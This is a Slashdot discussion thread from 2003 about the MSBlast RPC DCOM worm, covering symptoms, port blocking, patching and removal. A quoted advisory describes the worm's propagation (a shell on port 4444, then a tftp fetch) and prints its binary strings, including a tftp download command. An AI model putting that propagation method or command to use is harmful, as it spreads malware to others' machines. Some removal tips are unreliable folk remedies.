RPC DCOM Worm On The Loose 604
GPez writes "The first of I'm sure many RPC DCOM worms affecting Windows is on its way, according to the Internet Storm Center. Patch those systems!" According to the site, "The worm uses the RPC DCOM vulnerability [affects Win2k through Server 2003] to propagate. Once it finds a vulnerable system, it will spawn a shell on port 4444 and use it to download the actual worm via tftp."
Great (Score:5, Funny)
Will blocking port 135 at the router stop this worm? Seems like a simple solution for the short term. I would like to see the source for the worm, does anybody have it?
Re:Great (Score:5, Funny)
Re:Great (Score:3, Funny)
An error occured while loading http://212.192.128.76:4444:
Could not connect to host 212.192.128.76 (port 4444)
Re:Great (Score:2)
Re:Great (Score:4, Funny)
Open all your ports and I'll see what I can do!
Re:Great (Score:2)
Will blocking port 135 at the router stop this worm? Seems like a simple solution for the short term. I would like to see the source for the worm, does anybody have it?
It will at least slow it down, one hopes.
Also block 4444 since the worm is centrally propagating and uses that port to transmit itself.
Fortunately the virus is easy to remove. However, I don't know what its security ramifications are.
Re:Great (Score:5, Insightful)
Re:Great (Score:3, Insightful)
Block TCP 4444 and TFTP = UDP 69 at Routers (Score:4, Interesting)
That's not generic advice for the DCOM bug - for that you'll need to catch whichever of the MS ports are being abused this week. But it's guesswork advice for this particular instantiation of a worm that's exploiting it so you can at least slow down this one and isolate damage, and work on patching the actual holes in Windows so that you can prevent next week's worm that uses the same bug but some other inter-worm communication path from getting in.
At least on the couple of machines I've looked at, TCP 4444 isn't used for anything (there's a UDP 4444 used for Kerberos 4-to-5 conversion or something.) TFTP gets used for things like uploading operating system versions to diskless PCs and routers, and still isn't something you should be accepting from the outside world, and for the most part (YMMV) is only used by administrators who are better off stomping worms first and upgrading routerware later. The Microsoft ports are used by all kinds of Microsoft applications - you almost certainly should be blocking them to and from the outside world, but whether to block them inside your internal nets, and where, is a decision you'll need to make based on how much of which MS network products you're actually using. (e.g. you don't want to kill all your thin-client PCs by killing off their mounts of the file servers - but you also don't want them infecting each other.)
Re:Great (Score:3, Insightful)
I have already patched my entire network. (Score:4, Funny)
Re:I have already patched my entire network. (Score:5, Funny)
Re:I have already patched my entire network. (Score:3, Interesting)
Re:I have already patched my entire network. (Score:5, Interesting)
Oh, I know that, and you know that, but it's funny to watch people trying to install root-kits, or add new users. You want to shake them, and ask them - what are you doing - you're root already.. :) .bash_history | grep \: | grep ftp
But once they realise they can't install their IRC bots or floodping people, they get bored.
Oh, and why do people try and ftp to their own servers from that box?
grep \@
Doh.
Re:I have already patched my entire network. (Score:5, Insightful)
A complete solution includes patching your systems and deploying IDS systems. Still, this is only part of a complete security solution.
Agreed (Score:2, Interesting)
Anti SCO T-Shirt [anti-tshirts.com]. $1 donated to OSI Fund on each shirt.
Re:Agreed (Score:2)
I send you this file to have your advice.
Re:I have already patched my entire network. (Score:5, Funny)
Re:I have already patched my entire network. (Score:5, Funny)
Re:I have already patched my entire network. (Score:2)
Sure, we never got Code Red. Morons are just as effective.
Re:I have already patched my entire network. (Score:3, Interesting)
He was monkeying around on his RH8 box, was having network issues and setup the box as DMZ on the firewall. Later he rebooted to Win2k (on the same system, setup for the same IP). His entire network got hit with Slammer because of this. It took him the better part of a week to fix all of his boxes afterwards.
As others have said, a firewall is only part of the solution. Shutting down non-essential services/daemons, keeping up to date on patches, and in general knowi
Re:I have already patched my entire network. (Score:5, Insightful)
Firewall != security.
Balmer (Score:2, Funny)
erm...
security security security... erm
um...
somebody get me more cocain!
Re:Balmer (Score:2, Funny)
users being hit hard (Score:5, Informative)
all xp users though
Re:users being hit hard (Score:5, Interesting)
Re:users being hit hard (Score:3, Interesting)
Re:users being hit hard (Score:5, Insightful)
I think it's pretty irresponsible of them not to allow the autoupdate really...
That's like stealing a car, bring it back to the car dealership to get a warantee issue fixed, and then acting all miffed when they call the cops on you.
If you steal something, don't expect the company you stole from to treat you like a customer.
Re:users being hit hard (Score:5, Funny)
Re:users being hit hard (Score:3, Informative)
I found that the msblast.exe has a mechanism to restore itself if removed from the registry. Have to wait for the rest of the analysis before you can even start to clean up the machines.
(which you may want to mention to management is a hell of a lot more time consuming and expensive than patching would have been)
Credit... (Score:5, Informative)
Re:Credit... (Score:3, Funny)
From your local neighbourhood fortune cookie file.
-Dom
Re:Credit... (Score:3, Informative)
Re:Credit... (Score:5, Funny)
Is that what they were taking when they wrote the code?
this vunerability... (Score:5, Interesting)
It's quick to crash the machine (apparently) as the remote becomes unusable (pingable though).
It's actually pretty nasty from what I have seen... I just wonder how effective the worm will be when the machine becomes unresponsive after a few commands?
Perhaps it won't spread as fast as others because of this problem? I suppose we can hope.
Re:this vunerability... (Score:2)
New title suggestion for this story (Score:4, Funny)
Shouldn't that be:
Developers, Developers, Developers, Developers, Developers, Developers, Developers, Developers, DEVELOPERS!, DEVELOPERS!, DEVELOPERS!, DEVELOPERS!, DEVELOPERS!: RPC DCOM Worm On The Loose
Wow, my 1st /.ing (Score:2)
Security Advisory (Score:5, Informative)
After reading the advisory, it looks like this one is going to be a bad one. I'm no expert, but I would guess that this thing is going to be around as long as code red was (and I'm still getting code red hits in my logs!)
Effects (Score:5, Informative)
Cagliostro
Re:Effects (Score:3, Funny)
Re:Effects (Score:2)
Apparently there are two problems with RPC: one is a DCOM overflow, which this worm is exploiting...the other is a DoS, which shuts RPC down. Once RPC goes down, Windows wants to reboot. Microsoft has not yet offered a patch for the DoS yet, which means this worm is going to suck.
Re:Effects (Score:5, Informative)
1) Delete msblast.exe (usually found at: winnt\system32\msblast.exe)r rentVersion\Run\windows auto update" . That key should contain the "msblast.exe" process, and is what starts it up again on reboot.
2) delete the Registry key: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cu
3) Patch DCOM, or you'll just get this again.
UNC-Chapel Hill South Campus Hit Hard (Score:3, Informative)
UNC-Chapel Hill South Campus [Medicine, Pharmacy, Nursing, etc] has been slammed by this thing.
The tragic part is that Microsoft posted the patch almost a month ago:
I saw it happen LIVE! (Score:5, Funny)
Anyhow, I had just finished that when XP said it was shutting down in 30 seconds. I was like, WTF!
Here I am thinking that I just screwed up their machine with the new apps somehow.
Thanks a bunch, Billy. Guess they'll be punting this one to Longhorn
Virus Worm Out (Score:2, Informative)
I work for a small ISP
And the computer restarts.. This happens about every 40-60 Seconds making it "almost" impossible to Patch the Computer. Just a heads up for ANY IT Guys out there
How to patch (Score:3, Informative)
The first is necessary because it is the buffer overrun which reboots the computer.
Increase in TCP 135 Activity (Score:5, Informative)
57,003 1200 to 1230
75,317 1230
59,321 1300
52,642 1330
130,932 1400
202,996 1430
277,183 1500
247,682 1530
320,919 1600
361,504 1630 to 1700
milspec
Re:Increase in TCP 135 Activity (Score:3, Interesting)
go ME! (Score:5, Funny)
* Microsoft Windows NT(R) 4.0
* Microsoft Windows NT 4.0 Terminal Services Edition
* Microsoft Windows 2000
* Microsoft Windows XP
* Microsoft Windows Server(TM) 2003
Not Affected Software:
* Microsoft Windows Millennium Edition
finally! all these years of running Win ME have paid off! so long suckers!
Re:go ME! (Score:5, Funny)
Sucks big fat sweaty donkey balls:
* Microsoft Windows Millennium Edition
OMG (Score:5, Funny)
Re:OMG (Score:2)
Protection from the virus (Score:3, Funny)
Erkk (Score:3, Informative)
All I can say is change the properties of your RPC service repair functions. Start -> Administrative Tools -> Component Services -> Services (local). this will at least give you time to go online and download the MS patch, which we should have done weeks ago I know
Not quite safe: (Score:5, Informative)
win2k machines are still vulnerable to a dos; even patched.
Thanks microsoft...
Helpdesk is worried... (Score:2)
Firewalls *may* not protect you here (Score:5, Insightful)
I'm safe (Score:5, Funny)
You did say this was a RPG worm, right?
Windows XP Symptoms (Score:2, Informative)
So, if you have strange issues with the RPC, or are
So why did it *ever* listen to 445 by default? (Score:3, Interesting)
"Uh, WTF is SVCHOST.EXE, and why the fuck does it always bind itself to 445, and how can I make it stop doing that? I don't know what it's listening for, but I know that for what I'm using this box for, I don't need it, so why can't I disable the offending process?"
- Me, the first time I played with a W2K box.
"So SVCHOST does too much stuff to just kill it, but how can I at least stop it from binding to 445? I know I'm not
SP3? (Score:4, Interesting)
pay attention, son... (Score:3, Interesting)
spam popups every day; port 135 wide open, DCOM blazing away
Post-SP3:
no popups; port 135 still wide open, but not much there because DCOM is now DISABLED.
Like I said: it's just a "junk box" I setup the other day because the power supply died in my "good" server box. I haven't installed the googleplex of win2k patches because I don't think it's worth it - I'm only using it temporarily and if it gets hit I'll reinstall the OS (or stick a freesco floppy in the drive and reboot). This is just
WINE? (Score:2, Funny)
Thanks.
Where was this story 3 hours ago? (Score:4, Informative)
More diagnoses info (Score:5, Informative)
The first is a system shutdown window tellign you that the RPC service must be restarted,. This gives you 30 seconds before reboot. Iniated by NT Authority\system. This is a succesful XP infection
The other is Windows cannot open this file:
File: TFTp784
This appears to be an unsuccesful try.
For windows 2000 it crashes svchost trying to get in it appears. Just apply the patch to stop the crashes. It does not appear to get into the system in this case
Hope this helps everyone
Cagliostro
Slashdot saves my girlfriend! (Score:5, Interesting)
freedce - DCE RPC for Linux (Score:5, Interesting)
I was *nailed* by this thing over the weekend (Score:5, Informative)
Odd, I thought. I *am* the administrator.
I realized I had been hit by a virus or worm when I rebooted and the autoexec.bat file opened up during my login. Not good.
Norton didn't pick up on this one at all; furthermore, McAfee's online virus/worm searching tool found a related virus, but not the actual baddie.
The virus that McAfee located - which probably came in after the worm opened up all those ports in my firewall - were in \WINNT\msagent\intl. Basically, anything in that directory that *isn't* a
The worm itself is in \WINNT\system32\, and is called 'msconfig[nn].exe', where [nn] is interchangeable with two numbers. Mine was 'msconfig35.exe', I've read reports on various forums of others w/ '32' and '33' after the 'msconfig'.
Be careful here, as this app will spawn identical, hidden copies of itself with random names (like 'dwigjenjig.exe' or 'zajdfanltef.exe'). The easiest way I found to discern between real MS files and the worm was by looking at the last modified date displayed by Explorer, vs the last modified date that pops up when you mouse over the file name. All of the worm files had discrepancies between the two.
Hope that helps someone out there!
Notepad: kills bugs dead (Score:4, Interesting)
Anyway, the one thing I found that killed them both is Notepad. Just open up the executable in Notepad, type a few random characters here and there, erase some things, mess up the file header, and then save right over the virus! They're never expecting that. Make sure to kill the virus processes first, of course, or else you'll get the infamous "access violation". (In the case of msconfig32.exe, you must use the command-line tools 'tasklist' and 'taskkill') The viruses might restore themselves if you remove them from the registry, or delete the file, but they're not expecting you to corrupt the executable. If Windows, in its infinite stupidity, tries to run the virus again, it will fail harmlessly.
P.S. I know, I know, you're wondering why I'm running an unpatched XP install on my desktop. Well, I just reinstalled, and only have dialup, and I'm going back to college in a month where there's super-broadband. Downloading 30+ MB (conservative estimate) of service packs, patches, hotfixes, and updates over dialup (not even 56k, more like 28.8) seems pointless. Besides, it's interesting seeing actual virus infections happen and fixing them myself. If anything goes horribly wrong, I have my XP cd right here to reinstall again. I'll be reinstalling and patching when I get back to a real internet connection.
Stanford and Cal hit hard by RPC exploit! (Score:4, Informative)
And Cal(Berkeley) is blocking their network from outside access [theargusonline.com] starting today for four days. Makes me wonder how many other large networks have been compromised, but don't know it.
I'm glad I don't work at Stanford.....don't envy them having to wipe 2,400 machines and sort through files that need to be replaced.....trying to avoid trojans, etc
The fun begins... (Score:3, Informative)
I have a feeling this worm will hit especially hard on home broadband users that never touch Windows Update.
Re:The fun begins... (Score:3, Informative)
He called me because he got this "strange error message" when he logged in, saying that there was "something wrong" with RPC, and that he had 1 minute to save his files before the machine rebooted. I thought "riiight, RPC.. I guess we need to check your running processes and your registry here..". And of course, msblast.exe
Quick-Fix (Score:4, Informative)
Egress Filtering (Score:4, Insightful)
While there is no excuse for not updating your systems, some people can't do so because of business policy reasons (non-tested patches against business critical systems).
EVERYONE with a server on the internet should also have Egress filtering in place. 486 mahcines are cheap. Unix/Linux firewalls are free. On the off chance you do get the M$ IS$ Worm of the week, at least your server can't initiate an outgoing connection to download more code and move on to the next system.
Re:Egress Filtering (Score:4, Interesting)
Yawn.... (Score:3, Funny)
ISC Advisory (Score:5, Informative)
NOTE: the scanning is being done Code Red style, so it is concentrating on the class B pseudo-subnet, e.g. 123.123.x.x. If this gets inside your corporate firewall then you are screwed.
I count about 1 scan every 10 seconds at present.
--x8 Cut here ----
This RPC DCOM worm started spreading early afternoon EDT (evening UTC). At this point, it is spreading rapidly.
**********
NOTE: PRELIMINARY. Do not base your incidents response solely on this writeup. **********
Increase in port 135 activity: http://isc.sans.org/images/port135percent.png
The worm may launch a syn flood against windowsupdate.com on the 16th. It has the ability to infect Windows 2000 and XP.
The worm uses the RPC DCOM vulnerability to propagate. One it finds a vulnerable system, it will spawn a shell on port 4444 and use it to download the actual worm via tftp. The exploit itself is very close to 'dcom.c' and so far appears to use the "universal Win2k" offset only.
Infection sequence: 1. SOURCE sends packets to port 135 tcp with variation of dcom.c exploit to TARGET
2. this causes a remote shell on port 4444 at the TARGET
3. the SOURCE now sends the tftp get command to the TARGET, using the shell on port 4444,
4. the target will now connect to the tftp server at the SOURCE.
The name of the binary is msblast.exe. It is packed with UPX and will self extract. The size of the binary is about 11kByte unpacked, and 6kBytes packed:
MD5sum packed: 5ae700c1dffb00cef492844a4db6cd69 (6176 Bytes)
So far we found the following properties:
- Scans sequentially for machines with open port 135, starting at a presumably random IP address
- uses multiple TFTP servers to pull the binary
- adds a registry key to start itself after reboot
Name of registry key:
SOFTWARE\Microsoft\Windows\CurrentVersion\R
Strings of interest:
msblast.exe
I just want to say LOVE YOU SAN!!
billy gates why do you make this possible ? Stop making money and fix your software!!
windowsupdate.com
start %s
tftp -i %s GET %s
%d.%d.%d.%d
%i.%i.%i.%i
BILLY
windows auto update
SOFTWARE\Microsoft\Windows\CurrentVersion
Existing RPC DCOM snort signatures will detect this worm. The worm is based on dcom.c
Our Fix for out Cable ISP (Score:3, Interesting)
Step 2. Unplug Cable Modem.
Step 3. Start up PC
Step 4. Click Start -> Settings -> Control Panel
Step 5. Double Click Network Connections
Step 6. Right Click the Local Area Connection used to access Internet. Example: Local Area Connection 1
Step 7. Select Properties
Step 8. Click the Advanced Tab
Step 9. Enable the Windows XP Firewall
Step 10. Click OK, Close out of open windows.
Step 11. Plug in the Cable Modem.
Step 12. Ensure Block Sync is established.
Step 13. Open Internet Explorer
Step 14. Go to the following URL: http://www.microsoft.com/technet/default.asp
Ste
Step 16. Scroll Down Page about half way to Patch Availability
Step 17. Click Windows XP 32 bit Edition
Step 18. Click Download in the upper right of the screen.
Step 19. Save the file to the desktop
Step 20. Run the downloaded file.
Step 21. The patch will install and prompt the customer to reboot.
Step 22. Once the patch is installed and the computer rebooted, the Windows XP firewall can be disabled
Bug/Feature?? (Score:4, Interesting)
I always love these attacks (Score:3, Interesting)
I'm only KIDDING, jeez!
Catch-22 cleanup (Score:3, Informative)
Here's a work-around I've been talking some of my relatived through tonight. It's not something I'd normally want to expose them to, but it certainly saves me a visit to do it myself!
DSL Users beware... (Score:5, Interesting)
She complained that her computer was shutting down all day - get this, I don't have any ports enabled on my router - its closed tighter than duck's ass.
So, I'm sitting there, and she decides to turn her machine back on - a few minutes later....BAM...my whole DSL network goes down.
So, not making the cause and effect connection, I call my local phone company. They are able to ping my DSL modem. So they go through the motions, and get me to hook up my XP machine to the network directly through the DSL modem...friggin' brilliant. I hook it up, and
I then check my linksys router - everything on it is reset to the defaults...everything. No ppoe settings, no password [its set to the default] - nada, nothing, zip.
I reset everything, and up comes my network - thats when I browse on over to
I also look for the registry entry to restart the worm - but don't find it (so far, so good). I delete the scratch file ok, but the msblast.exe file will not delete (the system says the wheel user isn't authorized - what kind of Mickey-Mouse operating system is this!!?)
I want to know:
1. how to clean this up?
2. how the hell did this thing ZAP my Linksys with all the ports disabled?
3. where the hell can I get my $99 back for this bogus operating system?
Re: To Delete msblast: 1st End Process "msblast" (Score:3, Informative)
I'm not sure about removing it.... (Score:5, Funny)
W32.Blaster.Worm Removal Tool (Score:3, Informative)
Re:Port 4444 (Score:3, Informative)
Re:Port 4444 (Score:5, Informative)
Confirmed some details (Score:3, Informative)
After the "to say LOVE YOU SAN!!" string, I find these words: bill gates you make hi possi. And before it, it looks like it says "I ju wan to say" (with control characters that may or may not be of interest).
Sure enough, Symantec [symantec.com] has some info now, too (just sent by someone in my co
Re:Worse (Score:2)
Re:Worse (Score:3, Interesting)
No, but slashdot sometimes blocks us because some corporate loser does something stupid. Then I have to change which proxy I use....
Andyway, due to the virus, I am really glad I am not working today, but I have had to send the msblast.exe to our virus reporting team, etc.
Re:This is just sick. (Score:3, Informative)
Re:This is just sick. (Score:5, Insightful)
Re:On the way? (Score:4, Insightful)
You should have had auto-updates turned on for your boxes and/or been using SUS server to push these kind of updates out. We had autoupdates on, and then when the free scanner tool from eeye.com came out last week, we used that to scan the rest of our machines to identify any that didn't get the patch yet (not everyone has bene migrated into our domain yet, and there are some rogue NT 4 boxes around still).
As a result, we had everything reasonbly secure last Monday, and AFAIK there are no vulnerable machines on any of our subnets, according to my scans.
So, uh, what were you other Windows admins doing when you should have been doing your job?
Re:On the way? (Score:3, Funny)
Re:On the way? (Score:5, Informative)
If the server is not firewalled, but it is patched, the msbash.exe worm probing can crash the RPC service. Which then crashes Exchange, Some AD stuff, some windows explorer stuff, and other things (including windows update). It can still bring the DMZ servers to their knees EVEN IF THEY ARE PATCHED.
You are only fully protected if you are both patched AND the 135/445 ports are shut off from the internet. (No naked DMZ stuff.)
I personally patched all the DMZ servers with the hotfix the day it came out, then some other servers with SP4 that included the exploit fix Only the SP4 ones are unaffected.
Note, I am talking about services available, none of the boxes in question actually got infected. The infection attempt caused the problem.
Naked un-firewalled computers are going to get this thing, and get it bad.
It will be interesting to see if that August 16th date pans out to be a dDOS or what...
[Note, auto update is fine for PCs, but is fucking dangerous for production servers. Sometimes the updates do not play nice with whatever is there, if it happens when so-and-so is on vacation there could be real trouble. Do what you gotta do, but I am never going to let MS put anything on my stuff. You'll probably see when someone figures out how to spoof that and gets all 375 of your boxes rooted due to Windows Update.]
Windoze Auto update doesn't necessarily work! (Score:3, Interesting)
-----------------
Message: 16
Date: Wed, 30 Jul 2003 17:09:14 -0500
From: "Schmehl, Paul L" (email address removed)
To:
Subject: [Full-Disclosure] Patching networks redux
For all those experts who have mastered patching your networks, please ignore this post.
For the rest of you, testing has shown t
Re:On the way? (Score:5, Insightful)
"the Sysadmins need to be
"You should have had auto-updates turned on for your boxes"
"the Sysadmins need to be
"We had autoupdates on,"
"the Sysadmins need to be
Reasonable boarder security, strict firewall rules, roll-over security, implementing patchs and updates after they've been tested within a "sandbox" or other non-production machine, and constant security/threat analysis - these are the building blocks to a secure and operational infrastructure; not turning on "auto-update" for all your windows boxes. That's absolutely ridiculous. Next time a faulty patch comes down the line, it's going to take down some, most, or even all of your machines. I can remember Microsoft security patches causing anything from network connection problems to out-right system corruption requiring repair/reinstallation of the OS. Be very careful throwing stones at other admins when your own procedures are just plain laughable.
"So, uh, what were you other Windows admins doing when you should have been doing your job?"
Where was I? Reviewing the procedures I have in place to ensure that this type of vulnerablity never touches anything that would be vulnerable to it, and ensuring that all critical systems are buffered in case of internal infection through user stupidity. Where was I? Doing my job, correctly.
Re:On the way? (Score:5, Interesting)
Patches? Well the user should take care of that, right? After all, they've got Internet Explorer, they can surely remember to visit WindowsUpdate and get patches on their own.
Oh, AntiVirus definitions? Well, our software doesn't update those automatically, you've got to click the icon and push update every month or so, but the users can do that.
None of the above is hyperbole, and were actually the standard practices as recently as 18 months ago.
Heck, doing testing? That'd require a SECOND computer for each technician! That'd cost money! We can't afford to but TWO computers for one person, we're already splurging on 1 IT person per 500 computers! Oh, and we gave you 1 student who's slightly above minimum wage too. What more do you want?
Re:firewall = good (Score:3, Insightful)
If your answer is "they don't", then you've effectively taken away the reason for having a network in the first place. If your answer is VPN, then you've left a gaping tunnel from the outside, through your firewall.
My point is not that firewalls are only one piece of the security plan, but they cannot solve everything.